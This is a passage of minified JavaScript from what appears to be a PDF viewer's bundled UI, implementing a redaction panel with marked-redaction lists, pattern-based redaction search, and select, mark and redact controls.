t=e.children,n=vX(Object(l.useState)(null),2),r=n[0],o=n[1],i=vX(Object(l.useState)(!1),2),a=i[0],u=i[1],c=vX(Object(l.useState)(-1),2),f=c[0],d=c[1];Object(l.useEffect)((function(){var e=function(e,t){if("selected"===t){var n=e.filter((function(e){return"Redact"===e.Subject})),r=n.length>0?n[0].Id:null;o(r)}else o(null)},t=function(e){var t=(vt.getPageSearchResults()||[]).findIndex((function(t){return Qj(t,e)}));d(t)};return vt.addEventListener("annotationSelected",e),vt.addEventListener("activeSearchResultChanged",t),function(){vt.removeEventListener("annotationSelected",e),vt.removeEventListener("activeSearchResultChanged",t)}}),[]);var p={selectedRedactionItemId:r,setSelectedRedactionItemId:o,isRedactionSearchActive:a,setIsRedactionSearchActive:u,activeSearchResultIndex:f};return s.a.createElement(bX.Provider,{value:p},t)};n(1136),n(1137);function EX(){return(EX=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function SX(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return CX(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return CX(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function CX(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var xX=function(e){var t=SX(le((function(e){return[fi.getRedactionPanelWidth(e)]}),N),1)[0];return s.a.createElement(SM,EX({},e,{panelWidth:t,comment:!0}))},OX=function(e){var t,n=e.iconColor,r=e.annotation,o=e.author,i=e.dateFormat,a=e.language,l=e.onRedactionItemDelete,u=e.onRedactionItemSelection,c=e.textPreview,f=e.isSelected,d=Ks().t,p=ec(r),h=p?Fu()(p).locale(a).format(i):d("option.notesPanel.noteContent.noDate"),m="".concat(o," - ").concat(h),g=js()("redaction-item",{"redaction-item-selected":f}),v=r.label,y=r.icon,b=void 0===y?"icon-form-field-text":y,w=r.redactionType;t=w===Fx?s.a.createElement(xX,{linesToBreak:2},c):w===Bx||w===Hx||w===Dx||w===Vx||w===zx?d(v):r.getContents();return s.a.createElement("div",{role:"listitem",className:g,onClick:u,onKeyUp:function(e){"Enter"===e.key&&u()},tabIndex:0},s.a.createElement("div",{className:"redaction-icon-container"},s.a.createElement(cf,{glyph:b,color:n})),s.a.createElement("div",{className:"redaction-item-info"},s.a.createElement("div",{className:"redaction-item-preview"},t),s.a.createElement("div",{className:"redaction-item-date-author"},m)),s.a.createElement(bf,{style:{marginLeft:"auto"},img:"icon-close",onClick:l,ariaLabel:d("action.delete")}))},AX=s.a.memo(OX);function _X(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return TX(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return TX(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function TX(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var kX=function(e){var t=e.annotation,n=Object(l.useContext)(bX),r=n.selectedRedactionItemId,o=n.setSelectedRedactionItemId,i=_X(le((function(e){return[fi.getNoteDateFormat(e),fi.getCurrentLanguage(e),fi.getCustomNoteSelectionFunction(e)]}),N),3),a=i[0],u=i[1],c=i[2],f=t.getCustomData("trn-annot-preview"),d=t.StrokeColor.toString(),p=vt.getDisplayAuthor(t.Author),h=Object(l.useCallback)((function(){c&&c(t),vt.deselectAllAnnotations(),vt.selectAnnotation(t),vt.jumpToAnnotation(t),o(t.Id)}),[t]),m=Object(l.useCallback)((function(){vt.deleteAnnotations([t])}),[t]);return s.a.createElement(AX,{dateFormat:a,language:u,author:p,annotation:t,iconColor:d,textPreview:f,onRedactionItemDelete:m,onRedactionItemSelection:h,isSelected:r===t.Id})};n(1138);function PX(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return MX(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return MX(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function MX(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var RX=function(e){var t=e.header,n=e.children,r=e.className,o=e.role,i=e.style,a=PX(Object(l.useState)(!0),2),u=a[0],c=a[1],f=Ks().t;return s.a.createElement("div",{className:r,role:o,style:i},s.a.createElement("div",{className:"collapsible-page-group-header"},t(),s.a.createElement(bf,{title:f(u?"redactionPanel.collapse":"redactionPanel.expand"),img:u?"icon-chevron-up":"icon-chevron-down",className:"expand-arrow",onClick:function(){return c(!u)}})),u&&n)},jX=(n(1139),function(e){var t=e.pageNumber,n=e.redactionItems,r=Ks().t;return s.a.createElement(RX,{className:"redaction-page-group",header:function(){return s.a.createElement("div",{className:"redaction-page-group-number"},r("option.shared.page")," ",t)}},s.a.createElement("div",{role:"list",className:"redaction-items"},n.map((function(e){return s.a.createElement(kX,{annotation:e,key:"".concat(e.Id,"-").concat(t)})}))))});function LX(){return(LX=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}var IX=function(e){var t=e.redactionItems,n=nc().position.getSortedNotes(t);return s.a.createElement(jX,LX({redactionItems:n},e))};function NX(){return(NX=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function DX(e){return function(e){if(Array.isArray(e))return HX(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||BX(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function FX(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||BX(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function BX(e,t){if(e){if("string"==typeof e)return HX(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?HX(e,t):void 0}}function HX(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var VX=function(e){var t=e.redactionAnnotations,n=e.applyAllRedactions,r=e.deleteAllRedactionAnnotations,o=e.redactionTypesDictionary,i=Ks().t,a=FX(Object(l.useState)({}),2),u=a[0],c=a[1],f=FX(Object(l.useState)([]),2),d=f[0],p=f[1],h=Object(l.useContext)(bX).isTestMode;Object(l.useEffect)((function(){var e={};t.forEach((function(t){var n=function(e){if(e.IsText)return Fx;var t=e.type;return void 0===t?"region":t}(t),r=o[n],i=r.label,a=r.icon;t.label=i,t.icon=a,t.redactionType=n;var l=t.PageNumber;void 0===e[l]?e[l]=[t]:e[l]=[t].concat(DX(e[l]))})),c(e),p(Object.keys(e))}),[t]);var m,g=s.a.createElement("div",{className:"no-marked-redactions"},s.a.createElement("div",null,s.a.createElement(cf,{className:"empty-icon",glyph:"icon-no-marked-redactions"})),s.a.createElement("div",{className:"msg"},i("redactionPanel.noMarkedRedactions"))),v=js()("redact-all-marked",{disabled:0===t.length}),y=js()("clear-all-marked",{disabled:0===t.length});return s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"marked-redaction-counter"},s.a.createElement("span",null,i("redactionPanel.redactionCounter"))," ","(".concat(t.length,")")),d.length>0?(m=h?{initialItemCount:d.length}:{},s.a.createElement("div",{className:"redaction-group-container",role:"list"},s.a.createElement(gX,NX({data:d,itemContent:function(e,t){return s.a.createElement(IX,{key:e,pageNumber:t,redactionItems:u[t]})}},m)))):g,s.a.createElement("div",{className:"redaction-panel-controls"},s.a.createElement("button",{disabled:0===t.length,className:y,onClick:r,"aria-label":i("redactionPanel.clearMarked")},i("redactionPanel.clearMarked")),s.a.createElement("button",{disabled:0===t.length,className:v,onClick:n,"aria-label":i("redactionPanel.redactAllMarked")},i("redactionPanel.redactAllMarked"))))};function zX(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return UX(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return UX(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function UX(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var GX=function(){var e=zX(Object(l.useState)([]),2),t=e[0],n=e[1],r=re(),o=Rf(["(max-width: 640px)"],[!0],!1),i=zX(le((function(e){return[fi.isElementOpen(e,"notesPanel"),fi.isElementOpen(e,"searchPanel")]})),2),a=i[0],s=i[1];return Object(l.useEffect)((function(){var e=function(){var e=vt.getAnnotationsList().filter((function(e){return e instanceof window.Annotations.RedactionAnnotation})),t=[Hx,zx,Vx];if(n(e),e.filter((function(e){return!t.includes(e.redactionType)})).length>0&&!o){var i=!Boolean(a),l=!Boolean(s);i&&l&&r(Ps.openElement("redactionPanel"))}},t=function(){n([])};return vt.addEventListener("documentLoaded",t),vt.addEventListener("annotationChanged",e),function(){vt.removeEventListener("documentLoaded",t),vt.removeEventListener("annotationChanged",e)}}),[a,s]),t};function WX(){return(WX=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}var qX=function(e){return s.a.createElement(fz,WX({isMulti:!0},e))};function ZX(){return(ZX=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function YX(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function $X(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?YX(Object(n),!0).forEach((function(t){KX(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):YX(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function KX(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var XX=function(e){var t=e.data,n=Ks().t;return s.a.createElement(sV.Option,e,t.icon&&s.a.createElement(cf,{glyph:t.icon}),n(t.label))},QX=function(e){var t=e.data,n=Ks().t;return s.a.createElement("div",{style:{display:"flex",height:"18px"}},t.icon&&s.a.createElement(cf,{glyph:t.icon}),n(t.label))},JX=function(e){var t=Ks().t,n=e.activeTheme,r=e.redactionSearchOptions,o=[{label:t("redactionPanel.search.pattern"),options:r}],i=function(e){return{groupHeading:function(t){return $X($X({},t),{},{textTransform:"none",fontSize:"10px",color:e?"#FFFFFF":"#485056",paddingBottom:"8px",paddingLeft:"8px",paddingTop:"10px"})},group:function(e){return $X($X({},e),{},{padding:"0px"})},menu:function(e){return $X($X({},e),{},{padding:"0px 0px 0px 0px"})},menuList:function(t){return $X($X({},t),{},{padding:"0px",backgroundColor:e?"#000000":"#FFFFFF"})},multiValue:function(t){return $X($X({},t),{},{backgroundColor:e?"#192530":"#E7EDF3",padding:"2px 8px",fontSize:"13px",borderRadius:"4px"})},option:function(t,n){return $X($X({},t),{},{height:"28px",display:"flex",fontSize:"13px",padding:"6px 8px","&:hover":{backgroundColor:e?"#192530":"#E7EDF3"},backgroundColor:n.isFocused?e?"#192530":"#E7EDF3":"transparent"})},valueContainer:function(e){return $X($X({},e),{},{padding:"1px",maxHeight:"70px",overflowY:"scroll"})},control:function(t){return $X($X({},t),{},{backgroundColor:e?"#21242A":"#FFFFFF",minHeight:"29px",borderColor:e?"#485056":"#CFD4DA","&:hover":{borderColor:e?"#485056":"#CFD4DA"}})},placeholder:function(t){return $X($X({},t),{},{fontSize:"13px",color:e?"#868E96":"#ADB5BD",paddingLeft:"4px"})},input:function(t){return $X($X({},t),{},{fontSize:"13px",color:e?"#FFFFFF":"#485056",paddingLeft:"3px"})}}}("dark"===n);return s.a.createElement(qX,ZX({options:o,styles:i,components:{Option:XX,MultiValueLabel:QX,IndicatorsContainer:function(){return null}},placeholder:t("redactionPanel.redactionSearchPlaceholder"),formatCreateLabel:function(e){return"".concat(t("component.searchPanel")," ").concat(e)}},e))};n(1140);function eQ(e){return function(e){if(Array.isArray(e))return tQ(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return tQ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return tQ(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function tQ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var nQ=function(e){var t={textSearch:[]};return e?(e.forEach((function(e){var n=e.type;n===Fx?t.textSearch.push(e.label):t[n]=!0})),t):t},rQ=function(e){var t=e.setIsRedactionSearchActive,n=e.searchTerms,r=e.setSearchTerms,o=e.executeRedactionSearch,i=e.activeTheme,a=e.redactionSearchOptions;return s.a.createElement(Uf,{className:"RedactionSearchOverlay",dataElement:"redactionSearchOverlay",onKeyUp:function(e){if("Enter"===e.key){var t=nQ(n);o(t)}}},s.a.createElement(JX,{onFocus:function(){return t(!0)},value:n,onCreateOption:function(e){var t={label:e,value:e,type:Fx},i=[].concat(eQ(n||[]),[t]);r(i);var a=nQ(i);o(a)},onChange:function(e){r(e);var t=nQ(e);o(t)},activeTheme:i,redactionSearchOptions:a}))};function oQ(e){return function(e){if(Array.isArray(e))return iQ(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return iQ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return iQ(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function iQ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var aQ=function(e){return function(t){var n=(0,e.getState)(),r=fi.getRedactionSearchPatterns(n),o=Object.keys(r).reduce((function(e,t){var n=r[t],o=n.regex;return e[n.type]=o,e}),{}),i=oQ(t.textSearch);Object.keys(t).forEach((function(e){var t=o[e];t&&i.push(t.source)}));var a=i.join("|");""!==a?Vj()(a,{regex:!0}):vt.clearSearchResults()}};function lQ(){return(lQ=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function sQ(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function uQ(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?sQ(Object(n),!0).forEach((function(t){cQ(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):sQ(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function cQ(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function fQ(e,t){aQ(t)(e)}var dQ=function(e){var t=Object(l.useContext)(bX).setIsRedactionSearchActive,n=te(),r=le((function(e){return fi.getActiveTheme(e)})),o=le((function(e){return fi.getRedactionSearchPatterns(e)}),N),i=Object.values(o).map((function(e){return uQ(uQ({},e),{},{value:e.type})}));return s.a.createElement(rQ,lQ({setIsRedactionSearchActive:t,executeRedactionSearch:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return fQ(e,n)},activeTheme:r,redactionSearchOptions:i},e))},pQ=(n(1141),function(e){var t=e.isChecked,n=e.onChange,r=e.onClickResult,o=e.isActive,i=e.icon,a=function(e){var t=e.ambientStr,n=e.resultStrStart,r=e.resultStrEnd,o=e.resultStr;if(e.type===Fx){var i=""===t?o:t.slice(n,r),a=t.slice(0,n),l=t.slice(r);return s.a.createElement(s.a.Fragment,null,a,s.a.createElement("span",{className:"search-value"},i),l)}return o}(e),l=js()("redaction-search-result",{active:o});return s.a.createElement("div",{className:l,role:"listitem",onClick:r},s.a.createElement("div",{style:{paddingRight:"14px"}},s.a.createElement(Kv,{checked:t,onChange:n})),s.a.createElement("div",{style:{paddingRight:"14px"}},s.a.createElement(cf,{glyph:i})),s.a.createElement("div",{className:"redaction-search-result-info"},a))}),hQ=s.a.memo(pQ),mQ=function(e){var t=e.searchResult,n=e.checked,r=e.checkResult,o=Object(l.useContext)(bX).activeSearchResultIndex,i=t.ambientStr,a=t.resultStrStart,u=t.resultStrEnd,c=t.resultStr,f=t.icon,d=t.index,p=t.type,h=Object(l.useCallback)((function(e){r(e,d)}),[d,r]),m=Object(l.useCallback)((function(){vt.setActiveSearchResult(t)}),[t]);return s.a.createElement(hQ,{ambientStr:i,resultStrStart:a,resultStrEnd:u,resultStr:c,icon:f,type:p,isChecked:n,onChange:h,onClickResult:m,isActive:o===d})};n(1142);function gQ(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function vQ(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?gQ(Object(n),!0).forEach((function(t){yQ(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):gQ(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function yQ(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function bQ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return wQ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return wQ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function wQ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var EQ=function(e){var t=e.pageNumber,n=e.searchResults,r=e.selectedSearchResultIndexes,o=e.setSelectedSearchResultIndexes,i=Ks().t,a=n.map((function(e){return e.index})),u=bQ(Object(l.useState)(!1),2),c=u[0],f=u[1];Object(l.useEffect)((function(){var e=a.reduce((function(e,t){return r[t]&&e}),!0);f(e)}),[r,a]);var d=Object(l.useCallback)((function(e){var t=e.target.checked;a.forEach((function(e){r[e]=t})),f(t),o(vQ({},r))}),[r,a]),p=Object(l.useCallback)((function(e,t){var n=e.target.checked;r[t]=n,o(vQ({},r))}),[r]);return s.a.createElement(RX,{header:function(){return s.a.createElement(Kv,{checked:c,onChange:d,label:"".concat(i("option.shared.page")," ").concat(t),className:"redaction-search-results-page-number"})},role:"row",style:{paddingLeft:"12px",paddingRight:"12px",paddingTop:"8px",paddingBottom:"4px"}},s.a.createElement("div",{role:"list"},n.map((function(e,n){return s.a.createElement(mQ,{checked:r[e.index],checkResult:p,searchResult:e,key:"".concat(n,"-").concat(t)})}))))},SQ=(n(1143),"SEARCH_NOT_INITIATED"),CQ="SEARCH_IN_PROGRESS",xQ="SEARCH_DONE";function OQ(){return(OQ=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function AQ(e){return function(e){if(Array.isArray(e))return kQ(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||TQ(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function _Q(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||TQ(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function TQ(e,t){if(e){if("string"==typeof e)return kQ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?kQ(e,t):void 0}}function kQ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var PQ=function(e){var t=e.redactionSearchResults,n=e.searchStatus,r=e.onCancelSearch,o=e.isProcessingRedactionResults,i=e.markSelectedResultsForRedaction,a=e.redactSelectedResults,u=Ks().t,c=_Q(Object(l.useState)({}),2),f=c[0],d=c[1],p=_Q(Object(l.useState)({}),2),h=p[0],m=p[1],g=_Q(Object(l.useState)([]),2),v=g[0],y=g[1],b=Object(l.useContext)(bX).isTestMode;Object(l.useEffect)((function(){var e={};t.forEach((function(t,n){var r=t.pageNum;t.index=n,void 0===e[r]?e[r]=[t]:e[r]=[].concat(AQ(e[r]),[t])})),d(e);var n={};t.forEach((function(e,t){return n[t]=!1})),m(n)}),[t]),Object(l.useEffect)((function(){var e=t.filter((function(e,t){return h[t]}));y(e)}),[h]);var w=s.a.createElement("div",{"aria-label":u("message.noResults")},u("message.noResults")),E=0===t.length,S=js()("redaction-search-results-container",{emptyList:E}),C=js()("redact-all-selected",{disabled:0===v.length}),x=js()("mark-all-selected",{disabled:0===v.length}),O=n===xQ&&!o||n===SQ;return s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"redaction-search-counter-controls"},n===CQ&&s.a.createElement("div",{style:{flexGrow:1}},s.a.createElement(kj,{height:"18px",width:"18px"})),O&&s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"redaction-search-results-counter"},s.a.createElement("span",null,u("redactionPanel.searchResults"))," (",t.length,")"),s.a.createElement("button",{onClick:function(){var e={};t.forEach((function(t,n){return e[n]=!0})),m(e)},disabled:E,"aria-label":u("action.selectAll")},u("action.selectAll")),s.a.createElement("button",{disabled:E,onClick:function(){var e={};t.forEach((function(t,n){return e[n]=!1})),m(e)},"aria-label":u("action.unselect")},u("action.unselect")))),s.a.createElement("div",{className:S,role:"list"},n===SQ&&s.a.createElement("div",{"aria-label":u("redactionPanel.search.start")},u("redactionPanel.search.start")),n===CQ&&E&&o&&s.a.createElement("div",null,s.a.createElement(kj,{height:"25px",width:"25px"})),n===xQ&&E&&!o&&w,(n===CQ||n===xQ)&&function(){var e=Object.keys(f);if(e.length>0){var t=b?{initialItemCount:e.length}:{};return s.a.createElement(gX,OQ({data:e,itemContent:function(e,t){return s.a.createElement(EQ,{key:e,pageNumber:t,searchResults:f[t],selectedSearchResultIndexes:h,setSelectedSearchResultIndexes:m})}},t))}}()),s.a.createElement("div",{className:"redaction-search-panel-controls"},s.a.createElement("button",{onClick:function(){d({}),r()},"aria-label":u("action.cancel"),className:"cancel"},u("action.cancel")),s.a.createElement("button",{disabled:0===v.length,"aria-label":u("annotation.redact"),className:C,onClick:function(){a(v)}},u("annotation.redact")),s.a.createElement("button",{disabled:0===v.length,"aria-label":u("action.addMark"),className:x,onClick:function(){i(v),r()}},u("action.addMark"))))};function MQ(){return(MQ=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function RQ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return jQ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return jQ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function 